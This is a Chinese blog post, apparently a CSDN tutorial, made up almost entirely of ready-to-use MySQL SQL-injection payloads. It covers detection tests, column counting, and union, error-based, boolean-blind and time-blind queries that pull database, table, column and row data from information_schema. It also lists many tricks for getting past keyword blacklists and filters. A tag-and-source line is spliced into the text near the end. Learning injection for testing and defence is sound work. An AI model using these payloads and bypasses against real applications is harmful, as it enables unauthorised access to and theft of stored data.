原理
mysql5.0以上的版本存在一个information_schema数据库,information_schema数据库包含3个表如下:
步骤
判断是否存在sql注入:
分别输入不同的id值:
——有结果:1’and 1=1#
——无结果:1’and 1=2#
——出错:1'
——正常:1''(两个单引号)
换成双引号同理。
判断查询结果有多少列:
——1’order by 1#(不报错)
——1’order by 2#(不报错)
——1’order by 3#(不报错)
——1’order by 4#(报错)
——这就说明结果有3列。
选择注入方式:
联合注入(union)、报错注入(extractvalue、updatexml)、布尔盲注(当回显只能判断对错的时候用)、时间盲注(布尔盲注的升级版,没有回显或者回显判断不了对错的时候用,根据页面的反馈时间来判断对错)。
获取数据库名:
联合注入:-1’union select 1,database(),3#
报错注入:'and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
布尔盲注:1' and ascii(substr((select database()),1,1))=115--+
时间盲注:1' and if(ascii(substr((select database()),1,1))=115,sleep(3),1)--+
获取表名:
-1’union select 1,(select table_name from information_schema.tables where table_schema=’数据库名’limit 0,1),3#
也可以不用limit,表示从哪一列开始,取多少列。
获取列名:
-1’union select 1,(select group_concat(column_name)from information_schema.columns where table_schema=’数据库名’ and table_name=’表名’),3#
获取列中数据:
-1’ union select 1,(select 列名 from 表名 limit 0,1),3#
黑名单绕过
空格绕过:
/**/(/的url编码为%2f,*的url编码为%2a)
() ——例如:select(1),2,3;(括号的url编码为%28、%29)
回车(url编码为%0a)
`(url编码为%60)
tab(url编码为%09(水平)、%0b(垂直))
大小写绕过
双写关键字绕过
绕过and和or和=:
and可以用%26%26替代,也可以用&&表示。
or可以用||表示。
=可以用like代替。
函数名绕过:
sleep()可以改为benchmark()。
ascii()可以改为ord()。
逗号绕过:
select substr('abc',1,1);
可以改为:select substr('abc' from 1 for 1);
select 1,2,3;
可以改为:select * from (select 1)a join (select 2)b join (select 3)c;
标签:url,黑名单,报错,SQL,绕过,盲注,select,schema From: https://blog.csdn.net/lxz021202/article/details/137216928select * from users limit 0,1;
可以改为:select * from users limit 1 offset 0;